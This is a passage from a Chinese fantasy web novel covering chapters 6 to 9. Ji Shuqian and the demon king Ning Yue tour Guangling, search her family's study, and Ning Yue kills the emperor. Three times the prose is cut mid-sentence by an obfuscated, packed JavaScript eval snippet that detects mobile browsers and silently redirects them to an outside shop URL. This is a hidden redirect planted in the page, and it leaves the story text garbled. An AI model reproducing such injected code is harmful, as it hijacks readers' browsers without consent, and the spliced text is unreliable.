他看了看自己赤裸的上身,血迹已经消失了,只是纵横交错的疤痕触目惊心。他并不需要用水洗澡,只是以往在魔界时习惯了泡在泉水中减轻断裂筋脉的疼痛。 于是,季疏浅一回到客栈就见到大半个身子浸在浴桶里的宁樾。他身上的伤看起来好的差不多了,被血迹遮掩的容貌露了出来。 宁樾似乎没发现她回来,她仔细看了两眼。 宁樾靠在浴桶上,水汽氤氲让他容貌有些朦胧,墨色长发搭在浴桶边,发尾有水滴滴落。他闭着眼假寐,脸色有些惨白,鼻高唇薄,眉眼锋利,是极具攻击性的长相,偏偏额心间有一抹暗红色的魔纹,平添了一分妖冶。 “看够了吗?”一个冷冷的声音响起,季疏浅猛的回过神来,她还正在心里嘀咕着,长得倒是和传言中凶神恶煞的那款毫不相干。 宁樾慢慢睁开了眼,今日他的伤好的差不多了,温水确实能缓解筋脉旧伤带来的疼痛,他盯着有些失神的女子缓缓开口:“你不会要看着我更衣吧?” “没有没有,衣服放这里了,你自己挑。”季疏浅逃一样地关上房门,宁樾瞥了一眼仓皇逃跑的少女神色晦暗。 估摸着他应该换的差不多了,季疏浅在门口问了问:“我能进来吗?” “进来吧。”得了许可后季疏浅进到屋内,就看到宁樾一身墨色的袍子立在床榻边,动作极其优雅的仿佛在剥橘子一样的···撕开了手上的铁环。 ……季疏浅默了一下,找了个话题开口:“我们···出去吃点东西吧。” 宁樾觉得有些好笑,她难道不知道魔不用吃这些凡人的食物吗。 少女的声音再度响起,她似乎有些犹豫:“嗯……我知道我们俩其实都不用吃,但···偶尔吃点,也挺有意思的嘛。” 怕他不同意,季疏浅态度十分强硬地又补了一句:“我们俩的交易我完成了,现在你没完成,这期间你就得听我的。” 宁樾:“……”气氛诡异的沉默了一瞬。? 鬼使神差的,宁樾“嗯”了一句,她看起来也耍不了什么花样,呆在这倒也是无聊。 宁樾准备往门口走,就听见少女急匆匆喊住了他:“宁樾等等,你不会就打算这么出门吧?” 宁樾闻言皱眉看着她,怎么事这么多,他低头看了看自己的衣袍没觉得有什么问题。 季疏浅看着他疑惑的神情,又看着他默默看了看自己的衣服。心中升起一个大大的问号,他们魔都不束发吗? 她犹豫了一下,抬手指了指宁樾披散的长发问道:“你们……不束发吗?在人界男子都是要束发的。” 闻言宁樾终于想起来自己的头发,魔界不是不束发,只是……他在魔界过的随意惯了,基本都披散着头发。 而在神族时……一般宁瑈都要嚷着玩他头发。 况且就算束发,他也只会拿个发带施个术,看着桌上的发冠,宁樾的神情冷了冷。 “不会。”宁樾冷冰冰地丢下两个字后准备离开,季疏浅立马回过神来一把拉住他的袖子。 刚刚他说什么,不会? “那个……”季疏浅有些结巴,“我会,你介不介意我给你束?” “介意。”宁樾皱着眉盯着那只扯住自己袖子的手,以前从来没有人胆子这么大过。 “不行,你不能这么上街,我都不介意你怎么介意上了?”季疏浅不由分说地拽过了他,抽出一旁的木椅道:“坐下。” 宁樾:“?”她就这么……一点都不怕自己?没察觉间,内心涌上一股苏苏痒痒的感觉。 7. 广陵城(二) 宁樾站着没动,扬了扬眉看着她。 他们俩就这么静静地对视了一会儿,季疏浅在内心叹了口气,再僵持下去也不是个办法,只能来硬的了。 她正准备把宁樾拉过来,一直沉默不语的宁樾不知怎的乖乖坐到了椅子上,这下就轮到季疏浅惊讶了。 她看了看已经坐下的宁樾,犹豫了一瞬拿起桌上的发冠,有些为难。 想她前世活到二十一岁,好像也没给男子束过发…… 没事的,等交易结束后应该就分道扬镳了,他都不介意他介意什么,季疏浅在心中自言自语了一番。 她抬手捏起男子一缕随意垂下的发丝,顺滑的头发拂过掌心,凉凉的,季疏浅愣了愣。 宁樾闭上眼感受到了少女给他束发的手,有些···颤抖? 她刚刚不是挺自然的吗,果然装模作样会现原形…… “好了。”季疏浅如释重负,抽回了手。 等他们来到街上时才发现夜已深,但街市热闹不减,各种叫卖声此起彼伏。 不过他们并没有在琳琅满目的摊位上多做停留,季疏浅带着宁樾直奔她的目标——千味斋。 千味斋是广陵城里最奢华的酒楼,菜肴别出心裁,糕点也甜而不腻花样百出。 每年过年时,桌上千味斋的菜肴和糕点都是季疏浅对新年最深刻的印象。 宁樾看着少女快步远去的身影,心中的猜想渐渐被证实——她来这里应该还有其他的打算。 到了千味斋,季疏浅看着忙的不见身影的店小二在心中暗道不妙,转头给宁樾说:“这家店生意一直很好,可能要等会儿。” 一个满头大汗的青布衫小二迎面奔来,气喘吁吁地说道:“两位客官可是要吃饭,今日满座了,实在不好意思。” 季疏浅皱了皱眉突然想到什么,“那要个雅间吧?” 闻言店小二立马赔笑道:“哎呀不巧了嘛,今日有位官老爷订了二楼的雅间,按他们要求其他雅间都没有安排客人···” 他话还没说完,一道极快的黑雾猛的融进他的眼瞳,眼瞳漆黑一瞬又瞬间恢复正常,看起来与常人无异。 季疏浅回过头,看着一直没有说话的宁樾,他仍静静地立着,仿佛什么都没发生。 “宁樾?” 还没等到回答,店小二突然态度来了个大转弯,笑容堆了满脸:“二位客官久等了,随我上二楼雅间吧。” 季疏浅:“……” “你和他废话什么,凡人就是麻烦。”像石雕一样立在那里的男子冷冷开口,然后墨色袖袍一甩随着他上楼了,只留下在原地无语的季疏浅。 一天下来没见他伤人,居然先用上迷魂术了? 不过店小二的确没有骗他们,上楼后原本热闹的喧笑声不见立马了踪影,仿佛和一楼处于截然不同的境地。 店小二领着他们到了一处靠窗的雅间,千味斋的位置极好,是京城最热闹的地段,还紧邻着汴河,将广陵城的华灯美景尽收眼底。 待他二人坐下后,店小二格外热情的端来茶水问道:“您二位要点些什么,需要我推荐……” “东坡肘子,松鼠桂鱼,峨眉鳝丝,腰果鹿丁,鸳鸯卷……”他话还没说完,看起来冷冷清清的少女一口气报出一长串菜名。 坐在她对面的宁樾闻言诧异地看了她两眼。 季疏浅对上宁樾的目光,猛地从回忆儿时最爱吃的菜品里反应过来,正准备说些什么,店小二爽朗地笑起来:“姑娘一看就是没少来我们千味斋啊,报的都是我们的招牌菜,好嘞我这就去准备。”说完就飞快的离开了。 “你是这里人?”宁樾突然开口问道。季疏浅还没反应过来鬼使神差的嗯了一下。 突然想到什么,季疏浅凝出了一个水蓝色结界笼罩住他们的雅间,扭着眉说道:“这样总归不太好,还是别让他们发现了,店小二也不好解释……” 宁樾没有接他的话,望着游船往来不绝的汴河微微出神。 见气氛有些沉默,季疏浅犹豫了一瞬开口:“忘记告诉你了,我叫季疏浅,在天道山修行。” 宁樾收回目光,漆黑的瞳孔盯着她:“天道山?” 季疏浅这才想起来,他被封印是千年之前了,而天道山也只有七百来年的历史,他要是知道那就奇怪了。 季疏浅决定和他解释一下天道山以及这千年政局的变动,毕竟……千年之后的三界洲于他而言应该是全然陌生的吧。 “天道山就是……容与设立的修仙学府,说是因为……神族灭亡后人族失去庇护,在三界中处于弱势,所以要培养人族中的战神……” 季疏浅声音越说越小,她在说的时候意识到自己提到了一个格外敏感的词——神族。 她小心翼翼地打量了一眼宁樾,发现他神色如常,在听到神族后也没有什么波澜,这才松了一口气,立马换了话题。 “嗯···容与以前在神族是什么身份啊?我一直没弄明白一些事情……” “他?”听到容与的名字,宁樾的神色暗了一瞬,思绪回到千年前。 少年时期,总爱穿着水蓝色衣袍的小不点缠着自己,“哥,你答应了教我的,教我好不好嘛……” 时光飞逝,记忆逐渐模糊,只余下少年越发俊美的五官和一袭白衣的身影…… 再后来,浑身经脉寸断,被关在暗无天日的神界牢狱时,白衣的少年缓缓步来,居高临下看着他,一字一句吐出:“神帝下令,太子心术不正,即日起废除太子之位。” 然后缓缓蹲下,嘴角慢慢上扬,寒光一瞬闪过,宁樾只在刹那间听见了内丹有一丝碎裂的声音,伴着温润的声音响起:“哥哥,你的未婚妻该轮到我了。” 宁樾冷笑一瞬,缓缓开口:“神族二殿下,元容与。” 季疏浅盯着他有些不可思议的开口:“二殿下?”她没有想到过他竟然会是神族皇室的人。 这边店小二吆喝着上菜,五花八门的菜品被摆了满满一桌,季疏浅不自觉扬起嘴角,这种感觉到是久违了。 她犹豫了一瞬,指了指那个晶莹剔透,流着酱色汁水的肘子说道:“这个很好吃,是广陵城里做的最好吃的肘子。” 眼前的少女在这一桌菜上来后眼睛瞬间亮晶晶的,嘴角还挂着一抹浅笑,宁樾一瞬间想到自己的妹妹——宁瑈。 她每回拉着自己来人界玩的时候总喜欢点上各种名字古怪的菜品,遇到难吃的菜时,她会眉眼弯弯的夹到他的嘴边:“哥,尝一口嘛可好吃了,不吃你会后悔的……”然后不等他回答就不容拒绝地塞进他的嘴里。 想到这宁樾突然笑了笑,但一瞬间,这股细微的暖意被凉意淹没……宁瑈应该已经轮回了十多世吧…… 季疏浅看着宁樾夹了一块肘子,然后唇边居然挂起一丝违和的笑容,她愣了一下问道:“好吃吗,是不是还不错,那个荔枝虾球也很好吃。” 听到季疏浅的声音,宁樾回过神来,面前的少女和白日里拒人千里的样子截然不同,反而有几分少女的俏皮,只是不知哪样才是她真正的模样…… 宁樾淡淡的嗯了一声,夹了一颗虾球。 正当他二人默不作声地吃着饭时,一阵嘈杂的声音猛然入耳。 “苏聿啊,你那日从揽香阁带回的小娘子简直是人间绝色,什么时候让哥们我也享 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746880|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受下呗……”随着声音响起的还有阵阵狂放不羁的笑声。 苏聿?是她认识的那个苏聿吗? 等等!季疏浅思绪飞快流转,前世,镇国大将军叛国满门抄斩,而苏聿正是苏骥的嫡子——世子殿下。 而她童年印象中的苏聿可是琴棋书画样样精通,为人也是温和有礼,每每她闯下祸时苏聿都会一手揽下,因着她父亲和镇国公交情颇好,他们两家来往密切,苏聿俨然成了她的亲哥哥…… 可刚刚那人说小娘子?揽香阁不是京城里大名鼎鼎的花楼吗,他怎会流连于这种风月之地…… 她心不在焉的捻了一块糕点,心想或许是重名呢,她很难将小时的翩翩公子和出入风月之地的男子联想在一起…… 漫不经心的往外一瞥,楼下一道墨绿色身影吸引了她的目光,那不是今日在成衣店见到的男子吗。 着墨绿色锦袍的男子似是醉醺醺的,步态轻浮,脸颊还有两抹红晕,两旁的侍卫连忙搀扶住他。 季疏浅终于看清了男子的面容,咬了一小口的糕点啪的一声掉到地上摔得粉碎。 真的是他——苏聿,季疏浅仍不敢相信。 听到声音,宁樾从沉思中抬起头盯着她,就见到少女本沉静的神情竟然有一瞬的碎裂。 他顺着少女的目光看去,就见一个醉的不省人事的公子在被两个侍卫架着摇摇晃晃远去,身边还跟着一大群穿红戴绿的浪荡公子。 见到熟人了?宁樾默默想了想,今天他不是没猜过少女的来历,起初他还猜过少女可能是哪位神族留下的女儿,但他悄悄探过少女内丹。 季疏浅没有骗他,她的内丹就是凡人的气息,只是天生灵根而已。 虚华怎会认这个凡人为主?想到这里,宁樾轻嘲一笑,曾经不可一世的神剑,如今不也沦落到这个地步了吗? 季疏浅长叹一口气,她不知道苏聿为什么会变成这个样子,但她不想她的家人,也不想镇国公府重蹈覆辙。 看来今晚有必要去两家看看,这么多年过去两家到底有什么变化。 季疏浅一转过头,就对上了宁樾的目光,她尴尬的笑了笑:“你吃饱了吗?” 她在说什么啊,季疏浅在心里默默谴责了一下自己,脑子一热脱口而出的话简直惨不忍睹。 她想了想,讪讪一笑:“宁樾,你会不会能隐匿身形的法术啊,能瞒过元容与的那种?” 宁樾看着面前态度大转弯的少女,心中冷笑一声,装,继续装,他倒是想看她想干嘛。 “会。” 季疏浅一听他肯定的回答绽开了笑容,“你能不能帮我个忙啊?就当我欠你一个人情。” 闻言,宁樾冷冷一笑,不近人情的声音响起:“本王不需要你这一个人情。” 季疏浅:“……” 突然她想起自己曾经在一个秘境中寻到了一个对镯,当时拿回去后她和阿姐钻研了好半天,也没有发现玄机。 戴了一个多月后,她和阿姐总算明白了这镯子是干什么用的,有一回她在试炼中迷了路,一筹莫展之时,阿姐却带着一队弟子精确的找到了她。 从那之后,她们俩就知道这镯子有一个功能,就是在对方遇到危险时能定位到对方的位置。 但同样,它有个副作用,会在一方遇到危险时,发出阵阵刺痛给另一方。她在一次偶然体验过后,想着戴上这个阿姐简直是太吃亏了,于是找了个晚上偷偷摘下了。 前世阿姐死后,她一度十分自责,如果自己未曾摘下那个镯子,或许阿姐也不会…… 想了想,季疏浅手指在虚空中一点,漾开点点水波,化出一对交织的粉水晶镯子。 8. 广陵城(三) 宁樾幽幽地笑着看着面前的少女,下一秒一股刺痛自手腕传来,随机一阵冰凉感笼罩全身。 他低下头看着手腕上那个格格不入的粉色镯子,神色冰冷抬眸看着季疏浅。 季疏浅顶着毛骨悚然的感觉硬着头皮挤出一个大大的笑容,“这个镯子送你了,以后你有危险我第一时间知道会来救你的。” 季疏浅当然知道她这番话听起来有多荒谬,再怎么也轮不到宁樾被她来救,其实……亏的是宁樾啊。 她正想编两句来突出这个镯子的价值,就看着宁樾皱着眉,眉间戾气涌现。 她视线往下一顿,宁樾一只手正扒拉着镯子,但那镯子竟纹丝不动。 不对啊,当时她从阿姐手上摘下来不是轻轻松松吗,他怎么看起来这么吃力。 季疏浅抬手拨弄手上的镯子,瞬间傻了眼。 那镯子就像长在手上一样,任凭她怎么弄都摘不下来。 这边宁樾发现这个镯子的古怪后,右手掌心反转冒出一簇血红的火焰,正准备对着镯子烧去。 季疏浅余光看到他的动作,赶忙抓住他的手腕,这魔头疯了吗,拿幽冥火烧自己? 宁樾在少女的手抓上来的时候猛地一震,停下了动作,愣了两秒冷冷说道:“摘下来。” “啊……我好像也摘不下来,但上回我和阿姐戴的时候摘得可轻松了。”犹豫了一下季疏浅再补充道:“这个真的是我说的那样的功能,绝对不会害你,你就帮我施个术嘛。” 其实季疏浅心里有点慌张,她也不知道这镯子怎么突然摘不下来了,也不知道功能会不会有什么变化…… 宁樾冷冷的盯着她,压下了心中想要把她内丹捏碎的想法,幽幽开口:“你知道耍本王的下场吗?” “知道知道,我真的没有骗你,魔王殿下以后就知道了。” 宁樾看了看眼前冷静的少女,默了一瞬:“去你要去的地方。” 意思是他也要去?季疏浅默了默,好吧,他答应就很不错了。 季疏浅在桌上留了一两银子的银票,然后看着宁樾说:“现在还有点早不方便,我···带你逛逛广陵城吧。” 走在街上,季疏浅有些忐忑,她还是骗了他,那个镯子的功能她现在也不能完全确定。 突然目光看到街边一个摆着的小摊,小摊周围围了一圈圈看热闹的人群,还时不时响起“当,当”的声音。 犹豫一下,季疏浅拉了拉宁樾垂下的袖子,示意他来这边。 宁樾看了眼人群,皱了皱眉但没说什么,跟了上去。 千年前除了和宁瑈呆在一起的时候会来这般热闹的地方,其他时候好像自己都是孤身一人……当了魔王后,唯一的陪伴便是无尽的长夜了…… 有些不习惯之余,少女清冽的声音响起:“宁樾这是三大炮,你以前吃过吗?” 宁樾听着这个有些奇怪的名字沉默的看着她,季疏浅立马会意,看来是没吃过的了。 “其实就是糍粑裹上黄豆粉,味道还不错,这个名字嘛说的是它的制作过程。”季疏浅一边和他解释,一边牵着他的衣袖往人群中走去。 面前的师傅不断捏出一个个米白色的小糯米团,一边念念有词地扔进盛着满满黄豆粉的大锅里。 围观的群众里有小孩撒娇的声音响起:“阿娘,我也想要···”眼前的场景不自觉与十多年前的小女孩重合,季疏浅低下头流露出一丝不易察觉的笑容。 她递了一块银子给师傅,“师傅,要两碗。” 师父看着那块银子愣了愣,这都够得上他一个月的收入了,张了大嘴盯了盯眼前的少女,目光却在触及她身后面无表情的男子时忍不住打了个寒颤。 那么俊俏一个公子,怎么板着一张脸那么凶神恶煞呢。 随后他递了两碗热腾腾的三大炮,笑着说:“两位下次再来啊……” 热腾腾的三大炮捧在手心倒是格外温暖,季疏浅把左手端的那碗递给了宁樾,“你尝尝,很好吃的。” 宁樾沉默着接过那碗冒着热气的三大炮,用竹签串了一块放入嘴中,沾着红糖的糍粑有些甜腻,一种异样的感觉涌上心头。 季疏浅见他尝了一块后,拉着他的袖子说道:“那边是汴河,夜晚烟柳画桥,广陵美景可漂亮了,明天是中元节,河里禁游船,今天我们去坐坐吧。” 宁樾有些无语,“你要是来玩的,就不必拉上我了。” 听到他冷不丁的一句,季疏浅愣了愣然后盯着他正色开口:“魔王殿下虽说有的是机会来广陵城,但是每时每日的风景都是不同的,过了今日,再是相同的风景也不会是今日的了。况且……单纯的活着多累啊。” 宁樾似是没想到一向沉默的少女突然说了这么多话,有些诧异,可见少女神情认真不似在开玩笑,最终还是跟上了她的脚步。 季疏浅一时伤感,想到前世,她没有机会再看看繁华至极的广陵城,今生也算是弥补遗憾了,方才脱口而出一堆话。 她转头看了看跟上来的宁樾……好像还挺奏效…… 到了码头处,季疏浅想了想包了一条画舫,就她的观察,好像宁樾不是很喜欢人多吵闹的地方。 坐上画舫,游船往来不绝,千灯照亮汴河,波光粼粼。河道两旁的建筑雕梁画栋,各色的灯笼高高挂着,灯火璀璨,人群川流。 季疏浅看着这美景不禁有些感慨,看着对面望着河两岸出神的宁樾问道:“魔王殿下,以前来过人界吗?” “来过。” 宁樾没有回头看她。 “是有事前来……还是来游玩啊?”在问出这句话的时候,季疏浅心中默默投向了前一个猜想。 “都有。”毫无波澜的声音简洁的回答。 季疏浅小小的惊讶了一下,他居然来人界玩过···看起来和他一点不搭边啊。 很难想象这个看起来不情不愿的大魔头居然会来人界玩。 她转了个话题:“等会···你和我一去回家一趟吧,顺带去一趟镇国公府?我想查一点事情。” 闻言宁樾终于转回头看着她:“回家?” 季疏浅知道他的怀疑所在,觉得有必要和他解释一下:“在天道山修行的人十年内都不能回家,又因着我是元容与的亲传弟子,他特地在我家设了禁制,我一去就会被他发现···” 亲传弟子?元容与居然会收徒弟,宁樾像是想到什么好笑的,低笑了一声。 “你为什么想杀他?” 季疏浅没料到他会问这个问题,愣了一下,总不能说他前世几乎把自己所有亲近的人都赶尽杀绝吧。 虽然人有轮回,但轮回后不会带着前世记忆,更不会像她这样遇上和前世一模一样的经历…… 她斟酌着开口:“因为···我觉得他挺复杂的,不像他表面看起来那般,而且我不明白他为什么想杀我阿姐。” 听到这话宁樾倒是惊讶了一下,千年前在牢狱中他才看清了自己这个看似温润的弟弟的真面目…… 估计元容与自己都想不到,那般精巧的伪装居然被这个小姑娘看破了…… 没有细想,宁樾揣摩一下元容与的意图,既然在他的以为中自己已经被封印,那他还想做什么? 不过千年前他失去的……再怎么也寻不到了吧?宁樾冷冷一笑。 二人各怀着心事,不知不觉间,画舫停在了岸边。 夜已深,家家闭上了大门,街上渐渐就剩下了他二人,季疏浅看了看宁樾:“我们现在去季府吧。” 眼前是一座朱红色大门的府邸,大门上挂着一块黑金描边的牌匾,大大的写着季府两字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746881|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大门雕着花的金锁已经落了锁。 想到前世见到的破败景象,季疏浅在心中浅浅叹了口气,幸好这一世来得及时…… 宁樾看了看季疏浅,少女拧着眉,似乎想到了什么,神情染上一丝伤感。 默了片刻,宁樾抬手施了个术将自己和季疏浅都罩了进去:“走吧。” 季疏浅回过神来看了看眼前紧锁的大门,换了个方向看了看四周的围墙:“翻墙吧。” 两个人就这么堂而皇之地翻进去了,季疏浅看了看宁樾,一向冷冰冰的脸上……好像有点局促? 季府的格局和记忆中几乎没有变化,沿着青石板路往前走正房的左侧便是他爹的书房。 明知她和宁樾二人有了术法的庇护,但她还是不自觉的放轻脚步声。 ……有点做贼心虚? 季疏浅也没想到自己第一次归家居然会是以这样的方式…… 她拉了拉宁樾的衣袖带着他悄悄进入书房,掌心中亮起一抹暖黄色的光,书房霎时明亮。 书房和她记忆中一般无二,雕着花的檀木书桌上叠着摆放整齐的文书,季疏浅翻了翻应当都是平常公文,她转向了一旁的书柜。 记忆中她爹爹喜欢用一个大书箱装重要的信件,就着光,她在书柜最显眼的地方找到了那只书箱。 将书箱搬出来后季疏浅才发现书箱上坠了一把银色的锁,季疏浅略带些茧的修长手指慢慢拂过锁,陷入了沉思。 这把锁以前她从未见过,应当是这几年挂上去的…… “御赐的。”宁樾的声音冷不丁的响起。 “啊?”季疏浅一时没反应过来。 “侧面有独属于皇室的记号。” 季疏浅闻言看了看锁的侧面,果然有一个不起眼的火焰纹。 “你怎么知道?”她有些古怪的看了他一眼,隐隐觉得有些不对劲。 千年过去了,人界洲分分合合皇室不知换了多少代,听他的意思千年前的皇室也是这个标志? 宁樾没有说话,神情淡漠地看着那把锁不知在想什么。 季疏浅看了看那把锁,抬头望向宁樾:“千年前的人界洲一统了吗?” “嗯。那时的人皇受神族庇护。” 而据季疏浅所知,人界洲分分合合千年,到如今人界洲分裂为两大国,一是她的国家齐国,另一个是蒙国。 季疏浅收回了联想,摩挲了一下掌心的锁,好像和平常的锁不大一样…… 银锁没有寻常的孔,而是在方正的底部有一个极为精巧的机关,季疏浅翻过来看了看,类似于一个拼好了的微型七巧板。她轻轻的碰了碰,发现每一块都可以按压下去。 她心中了然,应该是要按几块特定的板就能打开了,但又一时发愁,这上面足足有十来块,简直不知道从何下手。 一只骨节分明却有些惨白的手拿过了锁:“我试试。” 季疏浅半信半疑地看了看低着头的男子,长长的睫毛在眼下扫出一片淡淡的阴影,只一眼季疏浅就立马收回了目光。 不知宁樾按了哪几块,就听见“咔哒”一声,银色的锁扣开了。 宁樾一挑眉看向还没反应过来的季疏浅,抽出了锁打开了书箱,然后转身走了出去,一副事不关己的模样。 季疏浅看了看他墨色的背影,收回了目光,看向散着墨水浓香的书箱,有一丝错愕。 正低头看向里面的信件,赫然映入眼帘的那张微微泛黄的信纸牵动了季疏浅那纷飞的思绪——那是她从天道山传回来的信。 她拿起最上面的一层信,颤着指尖数了数,刚好八封。 每年她传回来的信件原来都好好的留着,想到这里季疏浅鼻头一酸。 压下情绪,她很容易地在剩下的寥寥几封信件里找到了镇国公的来信。 9. 广陵城(四) “大理寺卿季嘉志亲启 此番远去戍守边关,归期未定,京中诸事多望照拂,不胜感激。” 季疏浅皱了皱眉,寥寥几笔到底是什么事她不得而知……只是,若镇国公府出事,凭着这封信,她们家足以被打上同党的骂名了。 她爹爹这么谨慎一个人,留着这样一封信,应当也是没料到镇国公府会出那样的事。 季疏浅叹了口气,天子心难测啊。 她将那封信收起来,想来信件内容无关紧要,她爹爹应当不会再查看真伪。 季疏浅化了一张空白的泛黄信纸,将信纸折了折放进书箱中以假乱真。 将一切归于原位后,季疏浅走到院子里轻轻喊了一声:“宁樾。” 没有回应。 跑哪儿去了?季疏浅在院子里四处张望,然后在一棵广玉兰树下找到了斜斜倚在树干假寐的宁樾。 仲秋时节,洁白的广玉兰花开了满树,一身墨色的男子锋利的五官竟也柔和了几分。 收起了平日的几分戾气,不像是人们口中灭绝人性的魔王,倒像是下凡的神祗。 季疏浅走近了,见宁樾还没有反应,伸手准备拉拉他衣袖。 还没碰到他衣袍,宁樾突然睁开了眼,仿佛刚刚睡觉都是假象。 “啊,我……以为你睡着了。”季疏浅有些尴尬,总不能让他误会自己趁他睡着了干些不为人知的事。 宁樾平静的看了看她,仿佛她的说辞在他意料之中。 “我从不睡觉。”他惜字如金地甩了短短一句话。 从不?季疏浅倒是知道修行之人不用睡觉,可他们其实只是没有时间,有时间谁都想躺在床上睡大觉。 魔王殿下这么忙? 想了想,季疏浅望向宁樾:“今晚我们先回去休息吧,有些事我想明日当面问清楚。” 宁樾没有做声,只是看向她的目光多了几分好奇。 季疏浅到了客房才明白了那几分好奇是什么,刚刚居然忘了只有一张床…… “呃那个,你睡吧。我出去……”说完季疏浅就从窗口翻了出去,带了几分落荒而逃的意味。 宁樾看了看那张床,犹豫片刻解掉了外袍,躺了上去。 一闭眼,无尽的黑暗像潮水般涌来,恶鬼的嘶叫,妖兽的咆哮……一句句谩骂将他吞没,宁樾猛地睁开猩红的双眼。 突然想到了季疏浅,宁樾盯着月光倾泻的窗口……她应该不知道闭眼就是噩梦的睡觉是多么折磨…… 这边的季疏浅,正坐在屋檐上看着皎洁温柔的月发呆。 满月当空,恬静皎洁。真想拥一轮皎月入怀啊…… 不知这是哪家的屋檐,坐在上面竟可以一览广陵夜景。想到小时候自己喜欢拉上苏聿爬上屋檐,每次被爹爹抓到,他都气的脸色和茄子一样:“你你你,苏聿你怎么敢带着你妹妹干这种事,女孩子成何体统……” 每当这时,她都会悄悄扯着苏聿的袖子朝他使个眼色,苏聿会意,朝她爹爹拱拱手:“伯父,苏聿错了。”然后咧着嘴一笑补上一句:“下回还敢……” 转身拉上季疏浅在房檐上溜之大吉,她爹爹拿他们俩没办法,只能听见怒气冲冲的声音越来越小,在风声中消散。 想到这里季疏浅敛了敛笑容,明天她一定要找苏聿问问这些年到底发生了什么…… 晚风吹的季疏浅发丝有些凌乱,衣裙随风起舞,她理了理接下来的计划。 找苏聿问清楚发生了什么后,她再想想怎么处理,找个机会把阿姐和叔父支到人界来,让阿姐帮她暗中处理下镇国公府的事……阿姐之前帮着处理过皇族内斗的事,应该应付得来。 然后她带着宁樾回天道山……嗯……把她心中死亡名单上的人都解决了…… 按着上一世的时间发展,离修罗族向人界大举进军的时间也就差不多了。只是不知道这一世,她放出了宁樾这个变数,修罗王还有没有这个侵犯人界的机会。 她隐隐听过一些传闻,修罗王曾是宁樾得力下属,在宁樾被封印后带兵叛出魔界……宁樾应当不会放过他。 至于宁樾……她目前没摸清楚他到底是怎样的人,若真和传闻中一样……还真是件棘手的事情。 正想着如何对付宁樾,一道格外尖锐的声音传来:“陛下,事情都查清楚了……他的确是皇后所出……” 难怪这院墙这么高,她刚刚还疑惑着哪个寻常人家用这么奢侈的瓦……原来是皇宫。 季疏浅隐约觉得自己听到了点皇室秘闻,就听见略带些疲惫的声音缓缓响起:“……叫……苏聿是吗?” 什么?一个令季疏浅完全没想到的名字突然出现,她差点没稳住身形。 “是,如今是镇国公府世子。镇国公先夫人正是皇后娘娘的亲妹妹……” “好啊,她竟敢……” 季疏浅渐渐有些思路,苏聿居然是皇后所出,但对外却称是镇国公世子……而且听这意思,伯母已经过世了? 她正准备往下听听,沙哑的声音却是戛然而止,只余下一声惨叫。 出事了,季疏浅反应过来,一个翻身进到殿内。 就见明珠点缀,金碧辉煌的大殿地上躺着一个瘦削的太监,一旁的龙椅上着明黄色龙袍的中年帝王正被死死咬住脖颈,鲜红的血顺着他有些惨白的脖颈流到了金丝衣袍上。 季疏浅呆住了,咬住他脖颈的不是别人,正是……宁樾。 她一个闪身上前试图推开宁樾:“宁樾你快停下。” 终于死咬着脖颈的宁樾偏头看了看她,季疏浅愣了愣,他比白日看着惨白了 许多,双瞳血红,眉心间的魔纹闪着淡淡暗红色光,唇角还沾着一抹血迹。 就在她愣神时,宁樾冷冷一笑,右手抓着已经不省人事的帝王,左手没有丝毫犹豫地掏出了一颗有些滚烫的心脏。 季疏浅回过神来的时候,宁樾左手正使劲一握,鲜血糊了满手,他狠狠捏碎了那颗心脏。 “你……你疯了吗?”季疏浅冷着脸质问。 宁越像是听到了什么好笑的事,笑了笑:“疯了?本王一向如此。” 然后若有所思的看了看季疏浅的白皙的脖颈:“你想试试吗?” 季疏浅被气的胸膛上下起伏:“他跟你无冤无仇,你为什么要痛下杀手?” “无冤无仇?他爹欠我的就该他来还。” 季疏浅愣了愣,想了一番他说的应该不假,千年前他灭了神族,而人族向来唯神族命是从,有仇应该不假。 她看了看像断线皮影一样落在地上的帝王,脖颈还喷涌出鲜血,叹了口气:“你直接杀了他不就行了……” 宁樾戏谑一笑:“你的意思是让我去大街上随便抓个人喝血?” “啊……你真要喝血啊?”季疏浅一直以为这是人们为了丰富魔王形象的说辞,毕竟她认识的魔族好像……没有喝血这个癖好。 宁樾猛地凑近她的脸,看着她有些不可思议的瞳孔缓缓开口:“本王嗜血,传言你不妨当真。” 季疏浅愣了愣,就见宁樾已经大步流星走向殿外。 哎,季疏浅幽幽叹了口气,她听说过这帝王不是什么好东西,用着黎民百姓的税钱大修行宫,贪图享乐弃社稷于不顾,仗着几世的财富挥霍无度,死了就当是为民除害了…… 但是……这烂摊子还不是得她来收拾,他居然就这么潇洒的走人了。 况且以她的了解,人皇死前应该是没有立下传位诏书,这一世王位之争不知花落谁家,但这京城表面的风平浪静,应该没有几时了…… 不过宁樾这一搞,她的计划虽然全乱了,但他们两家应该不会走上前世的结局了。 想到这里季疏浅笑了笑,换做是前世的她应当会忧虑这社稷,但这一世她没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 